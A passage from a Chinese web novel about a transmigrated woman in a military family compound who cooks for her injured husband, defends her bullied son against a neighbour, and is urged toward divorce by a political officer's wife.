冰凉清甜的汁水瞬间在口腔迸发，带着独特的发酵香气，绵软的果肉入口即化。 这滋味比现代任何冰淇淋都要爽口！ 沈晚立刻爱上了这个味道，多吃了两个。 快到晚饭时间，沈晚看着饺子，想起赵晓燕说霍沉舟爱吃酸菜猪肉馅的，犹豫了一下，还是多下了一点。 她先把自己的肚子填饱，剩下的装进饭盒里，想着给霍沉舟送去。 她细心地把饭盒用一个厚实的棉布袋装好，这样可以多保温一会。 快到医院的时候，天上突然飘起了细碎的雪花。 沈晚没戴围巾，感觉脖子有点冷。 等到了医院，她的肩头、发梢都沾满了晶莹的雪粒。 躺在床上的霍沉舟看见来人，瞳孔猛地一缩："你怎么来了？" 霍小川欢呼一声扑过来："妈妈！你是来接我的吗？" 沈晚弯腰捏了捏他的小脸："对呀。" 霍沉舟眉头紧锁："不是说顾战会送小川回去吗？外面还下着雪。" 沈晚懒得跟他废话，直接把饭盒往床上一扔。 霍沉舟下意识想接，却被手上的纱布限制，只能眼睁睁看着饭盒落在被子上。 "啧，"沈晚忍不住翻了个白眼，"忘了你现在不仅是个瘸子，手也是残疾。" 霍沉舟脸色顿时黑如锅底，他咬牙切齿地用缠着纱布的手去够饭盒。 嗯，很努力，就是够不着而已。 沈晚怕他伤口裂开，拍了拍霍小川的肩，小男孩立刻领悟妈妈的意思，主动跑过去打开饭盒。 热气腾腾的饺子香气瞬间弥漫整个病房。 霍沉舟盯着饭盒里白白胖胖的饺子："你包的？" 沈晚神态自若地点头："对啊，赵姐说你爱吃酸菜猪肉的，就包了一点。" 原本没什么胃口的霍沉舟，闻到这香味，莫名觉得有些饿了。 霍小川已经拿起筷子，小心翼翼地夹起一个饺子，递到爸爸嘴边："爸爸，尝尝妈妈包的饺子！" 霍沉舟顺从地张开嘴，饺子皮薄馅大，酸菜的爽脆和猪肉的鲜香完美融合，竟然出奇的好吃。 "怎么样？"霍小川期待地问。 "...还行。"霍沉舟硬邦邦地评价。 父子俩正吃得津津有味时，病房门突然被推开。 顾战刚从食堂打来饭菜，一进门就抽了抽鼻子："好香啊！嫂子，你怎么来了？" 他的目光落在饭盒里所剩无几的饺子上："这是嫂子包的？" 霍小川骄傲地挺起小胸脯："顾叔叔，我妈妈包的饺子可好吃了。" 顾战忍不住打趣道："团长，你不是说你没胃口吗？我看这饺子你吃得挺香啊！" 此言一出，霍沉舟的脸色瞬间黑如锅底："顾战，你要是没什么事，就去巡山吧。" 顾战连忙赔笑："团长我错了！您只是对食堂的饭没胃口而已，嫂子，要不然明天你再来给团长送饭吧，感觉他还挺爱吃这饺子的。" 这话越说越离谱，霍沉舟的脸色更难看了，他轻吸一口气，把心里的烦闷压下。 沈晚突然打了个喷嚏，鼻尖微微发红，显然是刚才冒雪过来时受了凉。 霍沉舟注意到："你带小川回去吧，这里有顾战就行。" 沈晚揉了揉鼻子，刚要说话，又忍不住打了个喷嚏。 顾战也赶紧附和："对对，嫂子你快回去休息，团长这里有我呢！" 沈晚拿上饭盒刚准备走，霍沉舟突然叫住她："等等。" 沈晚疑惑地回头，只见霍沉舟有些不自在地轻咳一声："你把那条围巾戴上吧。" 顺着他的目光看去，病床旁的椅子上搭着一条深灰色的羊毛围巾。 沈晚也没多想，大大方方地拿起围巾围在脖子上，上面带着霍沉舟身上特有的松木香，还夹杂着一丝淡淡的烟草味。 她对烟味向来敏感，心里不禁有些惊讶：难不成霍沉舟还抽烟？ 转念一想，以原主那作天作地的性格，这男人估计是愁得只能靠抽烟解闷了。 "多谢了。"沈晚笑吟吟地道谢，顺手把围巾多绕了一圈，遮住自己发红的耳朵。 沈晚刚走出病房没几步，就看见一个病患家属端着便盆往厕所方向走。 她突然顿住脚步，想到霍沉舟现在腿脚不便，手上还缠着纱布。 她转身又折回病房，探头问道："霍团长……" 霍沉舟闻声抬头："还有什么事？" 沈晚一脸真诚："要不要我帮你带一个？你现在这样应该挺不方便的。" 病房里瞬间安静得落针可闻。 顾战憋笑憋得满脸通红，肩膀直抖。 霍沉舟的脸色由红转青又转黑，最后从牙缝里挤出一句："...不用。" "真不用？"沈晚眨眨眼。 霍沉舟太阳穴突突直跳，咬牙切齿地重复："不用。" 沈晚无所谓地耸耸肩："好吧，如果你要用记得和我说。"说完牵着霍小川离开了病房。 等人真的走了，霍沉舟终于松了一口气，靠在枕头上。 他目光扫向一旁还在偷笑的顾战，声音凉飕飕的："顾战。" "到！"顾战条件反射地立正。 "你不是主动请缨要保护沈晚上山吗？"霍沉舟慢条斯理地说，"我看你挺喜欢上山的，那以后巡山的工作就交给你了。每天早晚各一次，持续半个月。" 顾战的笑容瞬间凝固："团、团长……" "怎么，有意见？"霍沉舟眯起眼睛。 顾战欲哭无泪："没、没有。" 半夜，霍沉舟盯着天花板，好不容易才睡着。 梦里。 沈晚穿着一件单薄的白色衬衫，乌黑的长发湿漉漉地披在肩上，水珠顺着她精致的锁骨滑入衣领。 她赤着脚一步步向他走过来。 "沉舟......"梦里的沈晚轻声唤他，声音又软又糯，和平时判若两人。 她伸手抚上他的脸颊，踮起脚尖缓缓向他靠近…… 霍沉舟喘着粗气，从梦中惊醒，被子下的异样感让他有点心烦气躁。 他为什么会做这种梦，而且梦中的那张脸还是沈晚。 霍沉舟觉得自己疯了。 第十三章 给霍小川报仇 次日一早，沈晚起来了，她已经把自己的作息调整过来了。 毕竟这个年代晚上没有手机可玩，她早早就睡了，白天也很早就醒了。 她拿着扫帚清扫院里的积雪，忽然看见隔壁院子里站着一个身材魁梧的汉子。 那人约莫三十岁上下，方正的脸庞被寒风吹得通红，浓眉下一双炯炯有神的眼睛，军装外套随意地披在肩上，一看就是个典型的东北汉子。 "张大哥早啊！"沈晚猜到他就是赵晓燕的丈夫张德志，笑着打招呼。 张德志上下打量着沈晚，粗声粗气地问："你就是沉舟的那个媳妇？" "对。"沈晚坦然点头。 张德志擤了擤鼻子，他早就听说沈晚救了霍沉舟的消息，昨晚又听媳妇念叨了一晚上，说沈晚给她开了能怀孕的药方。 虽然半信半疑，但死马当作活马医。 "晓燕一直跟我夸你，说你医术了得，人也好相处。" 沈晚笑了笑："赵姐太抬举我了。"她扫完最后一片雪，"张大哥，赵姐的药记得按时吃，有什么反应随时告诉我。" 张德志重重点头，黝黑的脸上露出一丝笑意："那个多谢你了。要是真能怀上，你就是我们家的大恩人！" “不敢当，不敢当。” 张德志看了看手表："我还得赶去训练场带新兵早操，先走了啊沈同志！" 他大步流星地往操场方向走去。 沈晚刚想回屋，余光却瞥见对面的李丽正一脸嫌恶地瞪着她。 沈晚连个眼神都懒得给，直接转身进屋，"砰"地一声关上了门。 霍小川起床后要去上厕所，沈晚想着就在大院里的公厕，来回不过五分钟的路程，便放心让他一个人去了。 可等了十五分钟，还不见他回来。 沈晚眉心渐渐拧紧，她了解霍小川，这孩子向来懂事，绝不会到处乱跑。 她刚抬脚准备出门寻找，就看见霍小川红着眼眶回来了，裤腿上沾满雪水泥渍，身子冻的发抖。 沈晚连忙把霍小川拉到火炉旁，用毛巾轻轻拍打他裤腿上的雪水。 霍小川一连打了三个喷嚏，小脸冻得煞白。 "怎么了？摔倒了？"沈晚柔声问道。 霍小川低着头不说话，眼泪在眼眶里打转，要掉不掉的样子。 沈晚眼神一凛，声音沉了下来："有人欺负你了？" 霍小川抽噎地回答：“刚才我去上厕所，有个哥哥不让我上，他还说你是狐狸精，专门来部队勾引人的，我和他争辩，他把我推倒就跑了。” 沈晚冷声道："看清是哪家的孩子了吗？" 霍小川点点头，："就是对面那家。" 对面正是李丽家。 沈晚心头腾起一团怒火，小孩子哪会说这种话？必定是李丽在家嚼舌根，被孩子学去了！ 她先给霍小川换上干净衣服，然后签起他的手："走，妈妈带你去讨个说法。" 霍小川看着沈晚要帮他做主的样子，又想哭了。 之前自己就算被欺负，妈妈也从来不会帮他说话，还会骂他没用，今天妈妈主动要带他讨说法，霍小川反而怕给她添麻烦了。 “妈妈，要不然算了吧。” 沈晚摸摸他的头："不能算。小川记住，被人欺负了就要勇敢站出来。" 霍小川握紧小拳头，眼神逐渐坚定起来："我知道了，妈妈！" 沈晚欣慰。 母子俩走出屋子，看见李丽正嗑着瓜子，和几个军嫂说得眉飞色舞。 见沈晚过来，她使了个眼色，几人顿时哄笑起来。 她们原以为沈晚会直接走开，谁知这次她竟径直走了过来。 李丽"呸"地吐掉瓜子壳，斜眼瞥着沈晚："有事？" 沈晚站在李丽面前，声音清冷："李同志，你儿子刚才把小川推倒在地，他身上都是水，而且说我是狐狸精，在部队里勾引人。我想请问，我什么时候勾引人了？勾引谁了？难道我来找我丈夫都不行？" 李丽一愣，随即嘴硬道："我儿子什么时候说这话了？我怎么不知道？谁知道是不是有人故意胡说八道。" 她家王浩从屋里探出脑袋，冲着霍小川做了个鬼脸。 沈晚不卑不亢：“那你把你儿子叫出来，我们对质一下。” 旁边后勤处孟处长的妻子孙秀芝帮腔道："对啊李丽，把你家浩子叫出来问问不就清楚了？" 众目睽睽之下，李丽只好硬着头皮喊："浩子！出来！" 王浩不情不愿地挪出来，嘴里还嘟囔着："干嘛啊妈。" 沈晚垂眸看着眼前这个八九岁的男孩："是你刚才在厕所门口推了小川？还骂我狐狸精？" 李丽在后面偷偷掐了儿子一把，暗示他别说实话，谁知王浩是真头铁，理直气壮地仰着脖子："你不就是狐狸精吗？我妈说了，你顶着一张漂亮脸蛋到处勾搭人！" "闭嘴！"李丽一把捂住儿子的嘴。 周围瞬间鸦雀无声，几个军嫂尴尬地别过脸。 听见动静赶来看热闹的苏琴杉见状，立刻上前打圆场："沈同志，这中间可能有误会。" 她声音温温柔柔的，一副善解人意的模样："小孩子说话没轻没重的，李嫂子肯定不是这个意思。" 李丽见苏琴杉替她说话，顿时有了底气："琴杉说得对！还是你温柔善良，不像某些人，逮着小孩无心之话不放！" 苏琴杉赶紧给她使了个眼色，示意她别再说了。 沈晚不怒反笑："这么说，倒是我的错了？是我小肚鸡肠？" 李丽干咳一声："我可没这么说。" "那就让王浩给我儿子道歉。"沈晚面若冰霜。 李丽立刻炸了："嘿，我儿子凭啥要道歉啊？小孩子打打闹闹多正常！" 沈晚冷笑一声："行，不道歉是吧？" 李丽得意地抬起下巴："不道歉！你能怎么着？" 话音刚落，沈晚突然伸手一推—— "啊！"王浩猝不及防，整个人栽进旁边的大雪堆里，只剩下两条腿在外面乱蹬。 "沈晚！你疯啦？！"李丽尖叫着扑过去拽儿子。 围观的军嫂们全都傻了眼，连苏琴杉都呆住了。 谁也没想到看起来文文静静的沈晚，动起手来这么干脆利落。 第十四章 喝中药 霍小川瞪大眼睛，小嘴张得圆圆的，妈妈好厉害。 孙秀芝嘴角微不可察地抽动了一下，默默别过脸去。 "现在扯平了。"沈晚拍拍手。 李丽好不容易把儿子从雪堆里拔出来，王浩一连打了四五个喷嚏：“妈，冷，冷，雪进脖子里了。” 李丽气得浑身发抖，张牙舞爪地就要冲过来扯沈晚的头发："我跟你拼了！" 苏琴杉连忙拦住她："李嫂子，消消气。" "沈晚你给我等着！"李丽跺着脚叫嚷，"我要去找政委告状，我要去政治处举报你！" 沈晚双手抱胸，丝毫不以为意："去吧，麻溜地去。"她指了指还在打哆嗦的王浩，"把你儿子也带上，省得一会衣服都干了。" 李丽心疼地拉着儿子回家换衣服，嘴里还骂骂咧咧的。 苏琴杉摆出一副老好人的样子："沈同志，这都是小孩子之间的矛盾，你这样做，以后让霍团长在部队里多为难啊。" 沈晚听着这白莲花发言就烦，直接打断她："苏同志，你这话说的可真有意思。孩子不懂事可以教，大人不懂事自然也需要教，而且我一开始只是要王浩道歉而已，他不道歉，那我就让他也感受一下被推倒的滋味。" 苏琴杉被怼得脸色发白，嗫嚅道："我也只是想让大家和睦一点，毕竟都是军属，都是一家人。"她说着，眼眶又红了，活像受了天大的委屈。 "一家人？"沈晚嗤笑一声，"谁家一家人会教孩子骂别人狐狸精？苏同志这么爱当和事佬，不如先去劝劝李嫂子好好管教孩子。" 沈晚今天火力全开的模样，很快就在部队里传开了。 霍沉舟靠在病床上，皱眉听着林怡宁添油加醋地描述沈晚今天把王指导员儿子推进雪堆的事。 心情渐渐沉了下去，所以还是装不下去了吗？ 林怡宁一边给霍沉舟换药，一边偷偷观察他的表情："沉舟，沈晚这样做，损害的是你在部队里的形象。以后你还怎么服众？"她纤细的手指轻轻拆开纱布，露出男人骨节分明的大手，"你这手明天就可以拆纱布了，不过暂时还不能沾水。" "多谢。"霍沉舟冷淡地应了一声。 林怡宁看着眼前这个即使受伤也难掩锋芒的男人，不由得红了脸颊。 她羞涩地抿了抿唇："沉舟，你对我不用这么客气的，当年要不是你救了我……" 当年林怡宁刚来部队报到，就遇上十年难遇的暴风雪。 她乘坐的吉普车在雪地里打滑，直接冲进了路边的深沟。 当时霍沉舟正带队训练归来，远远看到险情，二话不说，便冒着被暴风雪卷走的危险，用绳索绑在腰间，独自一人下到沟底。 在零下三十度的严寒中，他徒手砸碎结冰的车窗，把已经冻得半昏迷的林怡宁背了上来。 从那以后，林怡宁就对这位铁血团长芳心暗许。 霍沉舟看着林怡宁羞涩的表情，眉头微蹙："林医生，我想休息了。" 林怡宁这才从回忆中回过神，恋恋不舍地站起身："好，那你好好休息，我先出去了。" 她刚离开，顾战就风风火火地闯了进来。 霍沉舟睁开眼，正好对上顾战有些心虚的目光。 顾战摸了摸鼻子，这是他心虚的主要表现。 他刚才听苏琴杉说了沈同志在家属院欺负小孩的事，虽然心里有点怀疑，但他还是相信苏琴杉的。 顾战迟疑地开口："团长......" 霍沉舟嫌弃地扫了他一眼："把嘴擦干净再说话。" 顾战连忙用手背擦了擦，刚才苏琴杉又给他送了饭，他一时高兴就多吃了点。 "沈晚推了王指导员的儿子？"霍沉舟冷冷问道。 顾战一愣："团长，你咋知道的？"说完又怕霍沉舟动气，"不过可能中间有误会，等会儿我去问问嫂子。" 霍沉舟眼神一凛："不是说不让你叫她嫂子吗？再叫就多巡一个月山。" 顾战蔫头耷脑地应道："知道了。" 赵晓燕刚从中医院抓药回来，就听说了这件事。 她第一反应就是担心沈晚被欺负，把药放好匆匆跑到隔壁："妹子，李丽没欺负你吧？" 沈晚正在厨房煮姜汤："赵姐？我没事。" 赵晓燕上下打量她一番，确认没吃亏才松了口气："那就好！李丽那泼妇最会撒泼打滚，你可别跟她一般见识。" "放心吧，"沈晚搅动着锅里的姜汤，嘴角微扬，"该讨的公道，我已经讨回来了。" 赵晓燕看着她在煮姜汤：“你感冒了？” "有点，顺便给小川也煮点，早上他冻着了。" 赵晓燕这才沈晚说话带着鼻音，她心疼地摇头，"你太瘦了，又刚来东北，肯定不适应这天气。" 沈晚无所谓地笑了笑："赵姐，你抓药回来了？" 赵晓燕一拍大腿："可不是！那医生还追着问是谁给我开的方子，说他从没见过这么配的药，我说是我一个妹子开的。" 沈晚又仔细嘱咐了几句："这药要三碗水煎成一碗，大火烧开后转小火慢熬。最好在饭前半小时喝。" "好嘞妹子，我都记下了。"赵晓燕连连点头。 “那中药挺苦的，你可以备点冰糖。” 赵晓燕拍了拍胸脯：“放心吧，我不怕苦。” 晚饭前，赵晓燕的院子里飘出一股浓郁的中药味，苦涩中带着几分草木清香。 对面李丽正晾衣服，闻到味道忍不住用手在鼻尖扇了扇："这赵晓燕捣鼓什么呢？熏死个人！" 而此时赵晓燕正对着桌上那碗黑漆漆的中药发愁。 药汁浓得像墨汁，表面还浮着一层细小的药渣。 她深吸一口气，捏着鼻子灌了一大口—— "呕——"药汁刚入口，那股苦涩直冲天灵盖，赵晓燕差点吐出来。 她赶紧跑去厨房翻箱倒柜找冰糖，结果连糖渣都没找到。 赵晓燕苦着脸敲开沈晚家的门。 沈晚一开门就看见赵晓燕皱成一团的苦瓜脸，忍不住"噗嗤"笑出声来。 第十五章 霍沉舟主动道歉 赵晓燕委屈巴巴："妹子你别笑俺了，能不能借姐点糖？那药实在太苦了！" 沈晚笑着把她让进屋："早跟你说备点冰糖。" 赵晓燕叹了口气：“我没想到那么苦。” 沈晚拿出来上次在服务社买的奶糖，抓了一把给她：“快吃。” 赵晓燕如获至宝，打开一颗奶糖就往嘴里塞，甜味冲淡了嘴里的苦，她这才长舒一口气："活过来了！" 赵晓燕临走前拍了拍兜里的糖："妹子，等我下次去服务社买了还你。" 沈晚摆摆手："就几块糖，别客气。" 送走赵晓燕，沈晚看了看昨天剩下的饺子，想到顾战说霍沉舟爱吃，便决定全煮了给他送去。 她利落地生火烧水，准备下饺子。 霍小川蹲在灶台边，小脸被火光映得红扑扑的："妈妈，这是给爸爸下的吗？" "嗯。"沈晚摸摸他的头，"咱们吃完饭，一起送到医院好不好？" "好！"霍小川开心地点头。 他现在特别想让爸爸妈妈多多见面，妈妈现在变得这么好，说不定爸爸就不会和妈妈离婚了！ 出门前，沈晚给霍小川裹得严严实实：围巾绕了三圈，棉帽拉下来盖住耳朵，整个人像个圆滚滚的小粽子。 她自己则从衣柜里翻出一件霍沉舟的军绿色大衣，很满意地在身上比划了一下。 这种军绿色大棉服在现代也曾流行过一阵子，主要优点就是防风保暖又耐脏。 沈晚把它往身上一套，顿时被暖意包裹。 宽大的衣摆几乎垂到她的脚腕，袖子长出半截，肩膀处松松垮垮的，衬得她整个人更加娇小玲珑。 刚出门，一阵刺骨的寒风就迎面扑来。 沈晚下意识把霍小川往怀里揽了揽，军大衣的厚实布料将寒风隔绝在外，让她不禁感叹这衣服的实用性。 沈晚来医院才两天，这里的医护人员却大多已经认识她了。 尤其是那些平时受够林怡宁刁难的小护士们，见到她格外热情。 "沈同志来啦！"一个小护士笑眯眯地打招呼，"霍团长今天气色好多了呢。" “沈同志又来给霍团长送饭了可真贴心。” 沈晚虽然疑惑她们的热情，还是礼貌地点头回应，走到病房门口时，正碰上守在那里的顾战。 "沈同志！"顾战快步迎上来，压低声音道，"团长他可能心情不太好，你注意点……" 沈晚莫名其妙地看他一眼："他心情不好关我什么事？" 说完直接推门而入。 霍沉舟本来还在听着门外的动静，听见沈晚进来了立刻把头扭向另一边看窗外。 霍小川欢快地跑到病床前："爸爸，妈妈又给你煮了饺子！" 霍沉舟这才转过头，目光落在沈晚身上时，眼神一顿：“你没衣服穿吗？” 沈晚低头看了看身上的大衣："我就是单纯想穿这军大衣，保暖防风还耐脏。怎么，我穿的不好看吗？" 霍沉舟喉结滚动了一下，却说不出"好看"两个字。 普通的军大衣在这个女人身上，硬是穿出了不一样的风情。 衣领处露出的一截白皙脖颈，袖口翻卷时若隐若现的纤细手腕，还有被腰带勾勒出的腰线…… 莫名让他想到昨天晚上做的那个梦。 "随你。"霍沉舟最终只憋出这两个字。 沈晚觉得这男人真有点莫名其妙，阴晴不定的。 不过她也懒得管是谁又惹他不高兴了，把饭盒往桌上一放，就坐到旁边的凳子上休息。 霍小川已经熟练地打开饭盒，还是和昨天一样香的饺子。 霍沉舟却没急着吃，温声道："小川，爸爸一会再吃。"紧接着，他锐利的目光转向沈晚："你今天把王指导员的儿子推进雪堆里了？" 站在病房角落的顾战顿时心头一紧，该来的还是来了！他暗自祈祷沈晚能服个软，千万别跟团长硬碰硬。 沈晚挑眉，这才明白刚才顾战在门口那番话的意思。合着是有人告状告到霍沉舟这儿来了？ "是啊，"她坦然承认。 霍沉舟听到沈晚亲口承认，心中涌起一股复杂的情绪，有一点失望，但同时又松了口气。 至少他确认了沈晚之前温顺的样子确实是装的。 他敛了敛神色，刚"嗯"了一声，就听见霍小川急切地解释："爸爸，你别怪妈妈！妈妈是为了我才这样的！" 霍沉舟心尖一跳："小川，你这话什么意思？" 小家伙眼眶已经红了："是王浩先骂妈妈是狐狸精，还把我推倒在雪地里，妈妈让他道歉，他不道歉，妈妈才想让他也尝尝被欺负的滋味，爸爸，你别怪妈妈。" 霍沉舟愣住了。 他没想到事情竟是这样，沈晚是为了给儿子出头才动的手，但是林怡宁和顾战明明告诉他，是沈晚先欺负人的。 他冷峻的目光如刀般扫向顾战，后者顿时冷汗直流，心里叫苦不迭——他娘的，他也不知道怎么回事啊！琴杉明明信誓旦旦说是沈同志先动的手啊！ "团长，我..."顾战结结巴巴地想解释。 "出去。"霍沉舟声音冷得像冰。 顾战如蒙大赦，赶紧溜出病房，决定去找苏琴杉问个清楚。 霍沉舟轻吸一口气：“为什么不解释？” 沈晚冷笑一声："解释什么？" "明明是王浩先欺负小川。" "有用吗？"沈晚轻笑一声，"在你眼里，我不就是个蛮不讲理的人？" 这句话像根刺，扎得霍沉舟心头一疼。 霍沉舟抿了抿唇，看着沈晚冷淡的侧脸，突然低声道："对不起。" 沈晚眨了眨眼，有些意外。 她没想到这个向来高傲的男人会这么干脆地道歉，心里的火气顿时消了大半。 沈晚似笑非笑地挑眉："没想到霍团长竟然会和我道歉？" 霍沉舟神色认真："一码归一码。刚才确实是我不对，不该只听信一面之词。" 沈晚突然想到什么："不过那个李丽闹着要去政治处告我的状，会不会影响你？" 霍沉舟嘴角微扬：“不会，她不占理，就算去政委面前闹事，政委也不会听信她的一面之词。” 第十六章 帮霍沉舟上厕所 解开误会后，霍沉舟总算有胃口吃饭了。 他大口吃了十几个饺子："明天开始不用给我送饭了。天冷，你刚来部队，在家多休息休息。" 霍沉舟难得说出这么体贴的话，沈晚毫不犹豫地点头："好的。"她本来也没打算天天送饭，还得想办法在这个时代自力更生呢。 病房里顿时陷入一片安静，霍沉舟靠在床头，突然感受到一阵尿意。 他皱了皱眉，看了眼自己缠满纱布的双手和打着石膏的右腿，又看了看正盯着他吃饭的沈晚，有点不好意思地轻咳一声：“顾战呢？” 沈晚打开病房门张望了一圈，没见到顾战的身影，她又去问了值班护士，护士回忆道："顾营长刚才好像出去了。" 回到病房，沈晚如实转告："顾战不在，可能有事出去了。" 霍沉舟暗暗咽了口唾沫，他试图转移注意力，可越是刻意不去想，那股尿意反而越发强烈。 沈晚注意到霍沉舟脸色古怪，眉头紧锁，贴心地问道："你不舒服吗？"她说着就要撸起袖子给他把脉。 "不用。"霍沉舟耳根悄悄红了，"我没事。" 沈晚狐疑地打量着他："霍沉舟，你可不能讳疾忌医。有什么不舒服要告诉我，不然出了事可不能怪我......" "我想上厕所。"霍沉舟突然打断她，声音压得极低。 "你说什么？"沈晚一时没听清。 霍小川立刻充当嘴替："爸爸说他想上厕所！" 霍沉舟的耳根红得能滴血。 沈晚看着霍沉舟害羞的样子，噗嗤一声笑了出来："霍沉舟，所以你刚才是在不好意思吗？" 霍沉舟眼神闪烁，薄唇抿成一条直线。 沈晚故意逗他："你身上什么地方我没见过，有什么好害羞的。" 霍沉舟一向淡定自若地脸上闪过一丝羞愤：“沈晚，你知不知羞耻？” 沈晚笑吟吟地伸手扶住霍沉舟："走吧，我扶你去厕所。" 霍沉舟右腿不能受力，只能将大半个身子重量压在沈晚肩上。 女人纤细的身板被他压得一晃，却稳稳撑住了。 两人贴得极近，霍沉舟甚至能闻到她发间淡淡的皂角香。 他的手臂不自觉地收紧，掌心下沈晚纤细的肩膀让他不敢用力，却又不得不借力。 两人几乎是胸膛相贴，每走一步都能感受到对方身体的温度。 所幸病房里有独立卫生间，短短几步路已经让霍沉舟走得浑身发热。 到了门口，沈晚眼神往他下身一扫，故意问道："真不用我帮忙？" 霍沉舟立刻侧身挡住她的视线："不用！我手指还能动。" "哦~"沈晚拉长声调，慢悠悠地关上门，"那您慢慢来~" 霍沉舟站在卫生间里，低头看着自己又起了反应的身体，懊恼地闭了闭眼，不禁暗骂自己没出息。 * 顾战急匆匆地冲回家属院，一把推开家门，苏琴杉正在做饭，看见顾战面上一喜：“阿战，你怎么回来了？” “琴杉，”顾战神情严肃，"你中午不是跟我说，今天是沈同志欺负的王指导员儿子吗？" 苏琴杉有点心虚："阿战，你这话什么意思？" 顾战眉头紧锁："明明是那个熊孩子先欺负的小川和沈同志，你怎么能颠倒黑白？" 苏琴杉立刻换上惊讶又愧疚的表情，眼眶瞬间泛红："阿战，对不起，我也是听别的嫂子说的。我不知道真相是这样..." 她说着话，已经有豆大的泪珠掉了下来。 顾战见她这样，语气不由软了几分："琴杉，你是军属，说话要负责任。沈同志刚来部队，你这样传闲话，让她以后怎么做人？" 苏琴杉顺势扑进顾战怀里，肩膀微微发抖："我知道错了，阿战，你这样好凶。"她声音哽咽，像只受惊的小兔子。 顾战叹了口气，轻轻拍了拍她的后背："咱俩都认识这么多年了，我还不了解你吗？"语气已经彻底软了下来，"你就是耳朵太软，听风就是雨。以后在部队可不能这样了，知道吗？" 苏琴杉在他怀里乖巧地点点头，额头抵在他胸膛上："嗯，我以后一定弄清楚再说。"她仰起泪眼朦胧的脸，"阿战，你别生我气好不好？" 顾战看着她这副模样，哪里还气得起来："行了，快擦擦眼泪。" 苏琴杉拉住顾战的袖子："阿战，你陪我吃饭吧，饭快做好了。" 顾战为难地摇摇头："琴杉，今天不行了，我得赶紧回去。你先自己吃吧。" 门"砰"地一声关上，苏琴杉脸上的温柔笑意瞬间消失。 自己来部队都两天了，顾战不是在医院守着霍沉舟，就是在处理公务，连一顿饭都没好好陪她吃过。 现在竟然还为了沈晚来跟她对质。 顾战赶回医院时，正巧看见霍沉舟刚从厕所出来，他连忙上前扶住团长，将他扶回病床后，顾战转头对沈晚说："沈同志，明天正好有上山的机会，你要来吗？" 沈晚眼睛一亮，刚要答应，就听见霍沉舟冷声打断："不行。" "霍沉舟！"沈晚脸上的笑容瞬间消失，"你什么意思？不是答应过我了吗？" 霍沉舟面无表情地靠在床头："我记得我从来没答应过，是顾战单方面应下的。" 沈晚气得双手叉腰，小脸红扑扑的："霍沉舟，你无耻！" 顾战心头一跳，整个第七师敢这么骂团长的，一只手都数得过来！ 霍沉舟看着沈晚气鼓鼓的模样，耐着性子解释："山里野兽多，积雪深，你一个女人太危险。" "女人怎么了？"沈晚不服气地瞪着他，"女人还救了你的腿呢。我不管，腿长在我身上，我想上山就上山，你管不着！" 如果是以前的沈晚这么和他说话，霍沉舟早就不耐烦了，此时他心中的更多是无奈：“沈晚……” 沈晚别过头去，只留给他一个气鼓鼓的侧脸。 这可把霍小川急坏了，爸爸妈妈的关系好不容易变好，可千万不能吵架。 他帮着沈晚一起求情：“爸爸，你就答应妈妈吧。” 顾战也在一边添乱：“团长，你就答应沈同志吧。” 第十七章 政治处主任劝沈晚离婚 挨了霍沉舟一记凌厉的眼刀后，顾战装作若无其事地吹起口哨，眼睛四处乱瞟。 霍沉舟深吸一口气，终于松了口："必须让顾战跟着，不能自己乱跑。" 沈晚嘴角立刻扬起一抹得逞的笑容："一言为定！" 那副小狐狸似的狡黠模样，让霍沉舟突然怀疑自己好像被她拿捏了。 夜深人静，霍沉舟又一次陷入那个旖旎的梦境。 梦里，沈晚只穿着单薄的衬衣，被水汽打湿的衣料紧贴着玲珑的曲线。 她缓步走近，纤细的手指轻轻抚上他的胸膛…… "霍团长？需要帮忙吗？"她红唇微启，吐出的热气喷洒在他颈间。 霍沉舟喉结滚动，下意识伸手想要揽住那截细腰。 下一秒，霍沉舟又从梦中惊醒，他盯着天花板喘着粗气，怎么也睡不着了。 …… 沈晚心中一直惦记着要上山的事情，心情还是有点兴奋的，第二天早早就起床了，有句老话怎么说的：棒打狍子瓢舀鱼，野鸡飞到饭锅里。 这句老话说的就是东北物产丰富，山林里到处都是宝贝。 沈晚一边哼着小曲儿，一边往布包里装着上山要用的东西。 她昨天和赵晓燕说好了，一会儿就把小川送到她家去。 这时门口突然传来一道温和的女声："沈同志在吗？" 沈晚打开门，看见一位约莫四十出头的短发妇女站在院里。 她穿着整洁的藏蓝色列宁装，圆润的脸庞透着健康的红晕，眼角虽有几道细纹，却更添几分知性和蔼。 "请问您是？"沈晚礼貌地问道。 "你就是沈晚？"对方没有直接回答，而是上下打量着她。 沈晚点了点头："我是。" "我叫杨雪梅，是部队政治处主任，也是你们周首长的妻子。"对方温和地自我介绍道。 听到这个身份，沈晚连忙侧身让开位置："杨主任，您请进。" 杨雪梅微微一笑，迈步走进屋子。 她环顾四周，看到收拾得井井有条的房子，不由得暗自点头。 "你刚来部队还适应吗？"杨雪梅在椅子上坐下，语气亲切。 沈晚给她倒了杯热水，坦诚道："说实话，不太适应，这里太冷了。" 杨雪梅倒是没想到沈晚会这么诚实，笑着接过搪瓷杯握在手心里："你还挺诚实的。我听老周说了你救霍团长的事，今天特意来看看你。" 沈晚在旁边坐下：“有什么事您就直说吧。” 杨梅笑容微敛，就这短短几句话，她已经看出面前的沈晚是一个聪慧的女同志，不像传闻中那么不堪，但她想到丈夫的嘱咐，叹了一口气："我知道你是个聪慧的姑娘，有些话我就直说了。你和沉舟的事，师里领导都很关心。" "沉舟是咱们第七师的尖刀，前途无量。这段婚姻既然已经走到这一步，不如好聚好散？" 她观察着沈晚的表情，又补充道："你放心，组织上会妥善安排你的生活。小川的抚养问题，也会尊重孩子的意愿。" 沈晚微微蹙眉，看来自己在霍沉舟领导心中，还是那个胡搅蛮缠的形象。 杨雪梅见沈晚不说话，以为她不愿意，又劝道："沈同志，你还年轻，何必..." "杨主任，"沈晚打断她，声音平静，"您和周首长都多虑了。我这次来部队，不是为了赖着霍沉舟。" 杨雪梅明显一愣："那你是为了？" "我是来和他离婚的。"沈晚直视着她的眼睛，"我们俩已经说好了，等离婚审批下来就办手续。" 杨雪梅惊讶地瞪大眼睛，显然没料到会得到这样的回答。 她不禁有点尴尬，人家两个人都商量好了，她还来这里劝沈晚同意离婚。 杨雪梅轻咳一声："沈同志，今天是我唐突了。既然你们已经商量好了，那这段日子你就安心在部队住着。我可以帮你安排个轻松点的工作，比如服务社的售货员……" "谢谢杨主任的好意。"沈晚微笑着摇头，"不过我不需要安排工作。我打算采些山里的草药，做些药膏药茶来卖。我有些祖传的方子，对冻疮、风湿都很有效。" 杨雪梅惊讶地挑了挑眉："你还会这个？" 沈晚谦虚地点点头："略懂一些。我外公是老中医，从小跟着学了点皮毛。" 